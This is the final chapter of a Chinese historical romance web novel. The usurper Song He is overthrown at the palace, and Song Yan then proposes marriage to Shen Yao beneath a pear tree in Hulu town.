正在此时,众人还未反应过来,一支利箭“嗖”一声飞来,直接穿透了拿刀侍卫的胸膛,那柄弯刀“哐啷”掉落在地。 “有刺客——护驾——”高台处内侍惊慌大喊,宋禾身旁暗卫立刻跑出护在他身前。 宋禾眉头一皱,转头看向身旁的侍卫,“几处宫门都没动静?” 那侍卫也是一脸慌张,只是摇头道:“没有。” 宋禾站起身,着实不懂宋禾是如何进来的。 在他的设想中,宫门口的重重埋伏便已经能将宋衍的人拿下,那今天这一场便只是捉拿刺客的戏码。 “护驾——” “护驾——” 宋禾终于反应过来,往城墙上看去,原本安排的人都不见了,他只剩下身旁拐角跑出来的侍卫。 场面一片混乱,他目光停留在正在往一旁躲窜的沈遥身上,直接提着剑冲了下去。 又是几支箭飞来,宋禾抓过一个小内侍便往前甩去,挡在自己面前作了肉盾。 “宋禾!勾结匈奴,杀害我大周十万将士,弑君未遂,矫诏入京。如今北庭节度使在云中城已伏法,北庭叛军,若再抵抗,诛杀九族!” 低沉的声音在众人身后响起,当站起身往后看去时,竟是许久不见的宋衍身穿软甲,亲自提刀而上。 跟在他身后的是禁军统帅,被宋禾打压去做苦力的禁军,以及宁梓谦。 宋禾仰天长啸,“原来如此,宁梓谦你背叛我!宫中另有密道!” 难怪宋衍竟能不动声色地将梁国夫人送出宫,原本他以为是宋衍收买了宫中侍卫和内侍,没想到竟是如此。 宁梓谦道:“宋禾!我如今已洗心革面,不会再继续帮着你欺骗天下百姓!怪我被仇恨蒙蔽,没早日看穿你的真面目!” 宋禾不甘心,继续朝着沈遥冲去。 他知道,这个女人是宋禾的软肋,只要抓住她,那就还有机会! 眼看着逐步接近沈遥,他手便要抓住她了。 沈遥停下脚步转身,直接从头发上拔下簪子,以此作武器,划伤了宋禾伸过来的手。 “啊——”宋禾大叫一声,捂着流血的手掌往沈遥瞪去。 眼刀子还没落到沈遥身上,没想到她一个旋身飞踢,正中他的面具。 那金面具直接飞了出去,掉落在了不远的地方,宋禾倒在地上又捂着暴露出来那半张丑陋,死死盯着面具,一步步往前挪去。 正当他费劲力气,终于要拿回面具时,一双金丝黑靴出现在眼前,竟直接将他的面具踩了个稀烂。 抬头望去,是宋衍,而北庭军这时候才迟来太极殿下方,看着已经被伏诛的宋禾,以及以为早死在北部战场的宋衍,一时间进退两难,不知如何行动。 擒贼先擒王,更何况听到云中城的消息,此时众人都明白,宋禾已经输了。 宁梓谦见状举起长剑指天,大声吼道:“宋禾小人,编造谎言,尔等都是被宋禾与崔氏蒙蔽之人,此刻放下手中武器,可留下一命,罪不至死!” 此话一出,兵士们左右相看。 他们并不知晓宋衍还活着的消息,谁又愿意为了一个假皇帝去送死。 没有太多犹豫,一声声铁器声在地上发出,北庭军就这样主动认输。这场阴谋的揭穿,并未有太多流血,算下来,竟只死了二十多个负隅顽抗的人。 宋衍站在沈遥面前,牵住她的手,将人挡在身后,目光垂落宋禾身上,挥手让人将其押下狱中。 宋禾一边被拖着走,身上的冕服被撕扯坏,一边大骂:“宋衍!我没输!我没输!” 直到宋禾彻底被人拖走,不见了人影,沈遥才抬起头,看着宋衍。他的目光还停留在宋禾消失的方向。 沈遥微微一笑。 宋衍感受到后低头看向她,“怎么了?” 沈遥摇头,“没怎么,就觉得你真是个傻子。” 明明那么多人都爱他的。 宋衍不明所以,正想问什么时,宁梓谦走上前,视线落在他们牵在一起的手上,苦笑。 沈遥看向他,“之后有什么打算?” 宁梓谦道:“我此番已是罪无可恕,自愿辞去镇国大将军之职,甘受任何惩罚。我知白家与崔家勾结乃是同罪,岁岁虽然已与我和离,可早已是白家外嫁女,请求陛下饶恕过她。” 宋衍面无表情,“准了。” 宁梓谦一怔,不解道:“没有更多了?” 宋衍:“没有了。” 沈遥笑笑:“这次你帮着宋衍,自然也有大功一件,算是将功补过,陛下是不会真正降罪于你和白岁岁的。” 宋衍视线轻飘飘落在沈遥身上没有说话。 宁梓谦忍不住笑了,“是我总以小人之心度君子之腹了,诺诺,以后我还能做你朋友吗?” “自然可以!” “呀!”沈遥没忍住轻喊一声,抬头看向宋衍,“你捏我干什么?” 宋衍眼中拂过一丝不满,“手抖了一下。” 沈遥半晌语塞。 倒是宁梓谦笑了出来,“陛下,以后诺诺就交给你了,若是哪日让我知道她过的不好,我定拼尽一切杀回来。” 宋衍一怔,又勾了下唇,“这还需要你说。” 宁梓谦也没了更多交代的,最后看了沈遥一眼,正好晚霞的最后一丝光线落下,城中宫中灯火燃起。 他收回视线,转身往宫门走去。 沈遥看着他的背影,心里还是流露出了丝丝心疼,当年那个少年已经不在,可她就是知道,他真正的心性是好的,他还是那个单纯善良的宁梓谦。 “眼睛都长人背上了,我帮你将他叫回来。”宋衍带着淡笑的声音响起。 沈遥竟冷得起了鸡皮疙瘩,剜他一眼,又扭开头笑笑,自顾自往前走去。 宋衍蹙眉,往前几步挡住她,“你去哪儿?” “我不是眼睛都长宁梓谦背上了么?我去找眼睛。”沈遥面无表情道。 宋衍咬牙,一把将人抱到自己怀中,头埋到她颈部,声音闷沉,“阿姐,你就喜欢逗我。” 沈遥“噗嗤”一声笑出来,“你傻不傻,你没看出,宁梓谦此次离开后,是要去找白岁岁吗?” “什么?”他声音还是很低。 沈遥不再解释了,抬手揉了揉他的头发,“好了,一切都结束了。” “嗯,一切都结束了。” …… 整顿朝纲并未用太久的时间,宋禾篡位期间的一些墙头草被宋衍扒了出来,清理了一大批人,又上位了一批新的人。 整个朝廷,算是彻底掌控回宋衍手中。 今岁夏日格外炎热。 而回鹘递回来了一封书信,来自沈芯。 沈遥将其读完后,眉眼间带了笑意,将信收到了锦盒中。 锦书见状笑道:“看起来,端静公主那边可是有好消息。” “嗯,她过的还不错。”沈遥颔首,看向屋外树上正在嘶叫的蝉,“她做的很好,这次从中原带去了不少种子,乐人,书籍。她说正在教他们那些外邦人学会开垦种粮,自给自足。” 锦书笑笑,只是见沈遥眉间还是闪过一丝愁容。 “殿下还是不放心端静公主?” 沈遥道:“虽然随行队伍有最出色的医师,可我还是担心她的病症,在外的生活定然不如长安。” 她深吸一口气,“但我看得出来,她对自己的生活很满足,算是……找到了如何压我一头的方式吧。” 锦书一脸雾水,看着沈遥一边笑着一边离开。 晌午用过午膳后,南风来了长公主府。 见到沈遥后先恭敬请安,而后道:“殿下,陛下有请。” 沈遥放下手中的冰露羹,“入宫吗?” 南风摇头,“陛下让属下来接殿下去葫芦镇。” “葫芦镇?” 沈遥换了一身绯色的衣裳,锦书跟随,上了一辆青顶小马车。 马车没跑多久,便到达了葫芦镇。 沈遥掀起马车帘子往外看去,街上叫卖的小贩,茶馆中打双路的人吵吵嚷嚷,被踩坏菜的大娘又再追着那只小黄狗骂骂咧咧,惹得她 忍俊不禁一笑。 还有卖糖人的大爷,还是曾经的那个人。 好像什么都没有变,这个小镇依然烟火气十足,但唯一变了的,是沈遥感到了更多的真实。 镇民脸上的笑意是真的,稚子们的玩乐是真的。 小桥流水人家,此处和偌大的长安城比起来,倒还真像一处世外桃源。 马车在时府面前停下,锦书先行下马,而后给沈遥递去一只手,扶着人稳步走下马车。 府邸的牌匾还是曾经的,不过看得出来被打扫过,干净锃亮。 南风弓腰:“殿下请,陛下已经在外院等待了。” 沈遥不知道这个人究竟在搞什么名堂。 之前的矫诏政变之事结束后,宋禾被判处当众处斩,崔家白家被抄,男子皆斩首,女子除了白岁岁,其余为奴流放。 两人之间似乎又回到了御驾亲征前。 宋衍一有空便会出宫来长公主府中探望,虽然沈遥隐晦提起几次自己的意愿,但他仍不会对她做更多的举动。 他很尊重她,太过尊重她了。 反而让她心底空落落的。 锦书和南风站在门口,沈遥一人走入时府,穿过垂花门,也是发现整个府邸被重新修过一番,所有的一切恢复了原状。 外院中,梨花开得正是最旺盛之时,高大的男人站在梨花树下,白色柔软的花瓣飞舞空中。 一时间,沈遥以为自己回到儿时曾经,梨花树下,父亲第一次将宋衍推到她的面前。 那时候的男孩儿瘦瘦小小,头发枯黄,整日低着头,大气不敢出。 沈遥一步步往宋衍走去,时间的流速好似在某一刻变得很慢,花瓣落在她肩上,宋衍慢慢转过看着她。 每走一步,她好似重新将人生经历了一遍。 她接受了臭弟弟,从厌恶,到怜悯,到对亲人的爱意,后来他鼓起勇气在她发髻上带上一枝梨花,结结巴巴地说:“给……阿姐”。 再后来,夜色下的沈家尽是火光,她伸手将臭弟弟从老槐树上拉下,带着他一路奔逃,到甘州,又回长安送上帝位。 这葫芦镇时府中,他欺骗她,哄她,将她困住在此地。可是其实,她好像从来没有真正怪过他。 如今,他们又回到了这里,他们之间的起点,梨花树,他们之间的纠葛,葫芦镇。 沈遥终于站定在宋衍面前,笑道:“喊我来干什么?” 宋衍将手中折下的一朵梨花插到沈遥的发髻间,定定凝视着她:“给……诺诺。” 沈遥莞尔一笑。 宋衍将手背到身后,“前些日子,有朝臣上表,朕今年已二十有四,却仍后宫空虚。永乐异性长公主,爱民如子,前有亲赴大周险地,建立惠民医舍,医学,后有里应外合,助朕破除宋禾奸计。奏请永乐长公主为皇后,母仪天下。” 沈遥心狂跳起来,静静凝视着他。 宋衍继续道:“朕已允。” 沈遥没有说话,眼睛却有些泛红。 宋衍又温柔问她:“诺诺,你可愿意做我的妻子,做朕的皇后?从此携手,生同席,死同穴,永不分离。” 沈遥眨了眨眼,看着一片梨花正巧落在他头顶,她抬手轻轻将他挥去。 “好啊,臭弟弟。” 宋衍原本漆黑的眼眸瞬间发亮,在阳光下,呈现出一层淡淡的红棕。 他将她抱到怀中,如曾经每一次,将头埋下,深深吸上一口她身上的香甜。 沈遥抬起手回抱他,“我可真够宠你的。” “嗯。”他声音很闷。 沈遥满足地笑起来,“以后,我会陪着你一起建造这个桃花源,以皇后的身份。” “好,你答应了的,不许反悔。” “不反悔。” (完结)【魔蝎小说 mo xie xs .c om】